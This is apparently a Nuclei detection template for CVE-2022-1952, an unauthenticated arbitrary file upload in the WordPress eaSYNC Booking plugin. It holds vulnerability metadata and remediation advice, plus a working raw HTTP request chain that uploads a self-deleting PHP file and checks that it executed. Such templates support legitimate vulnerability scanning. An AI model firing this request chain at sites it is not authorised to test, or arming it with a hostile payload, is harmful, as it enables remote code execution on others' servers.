WordPress eaSYNC Booking <1.1.16 - Arbitrary File Upload

id: CVE-2022-1952

info:
  name: WordPress eaSYNC Booking <1.1.16 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    WordPress eaSync Booking plugin bundle for hotel, restaurant and car rental before 1.1.16 is susceptible to arbitrary file upload. The plugin contains insufficient input validation of an AJAX action. An allowlist of valid file extensions is defined but is not used during the validation steps. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in remote code execution, allowing an attacker to take complete control of the affected WordPress site.
  remediation: |
    Update to the latest version of the WordPress eaSYNC Booking plugin (1.1.16) or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ecf61d17-8b07-4cb6-93a8-64c2c4fbbe04
    - https://wordpress.org/plugins/easync-booking/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1952
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1952
    cwe-id: CWE-434
    epss-score: 0.24635
    epss-percentile: 0.97903
    cpe: cpe:2.3:a:syntactics:free_booking_plugin_for_hotels\,_restaurant_and_car_rental:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: syntactics
    product: free_booking_plugin_for_hotels\,_restaurant_and_car_rental
    framework: wordpress
  tags: cve,cve2022,wpscan,wordpress,easync-booking,unauth,wp,file-upload,wp-plugin,intrusive,syntactics,vkev,vuln
variables:
  string: "CVE-2022-1952"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID=a0d5959357e474aef655313f69891f37
        Content-Type: multipart/form-data; boundary=------------------------98efee55508c5059

        --------------------------98efee55508c5059
        Content-Disposition: form-data; name="action"

        easync_session_store
        --------------------------98efee55508c5059
        Content-Disposition: form-data; name="type"

        car
        --------------------------98efee55508c5059
        Content-Disposition: form-data; name="with_driver"

        self-driven
        --------------------------98efee55508c5059
        Content-Disposition: form-data; name="driver_license_image2"; filename="{{randstr}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        --------------------------98efee55508c5059--
      - |
        GET /wp-admin/admin-ajax.php?action=easync_success_and_save HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID=a0d5959357e474aef655313f69891f37
      - |
        GET /wp-content/uploads/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - 'wp-content\\\/uploads\\\/([0-9a-zA-Z]+).php'
        internal: true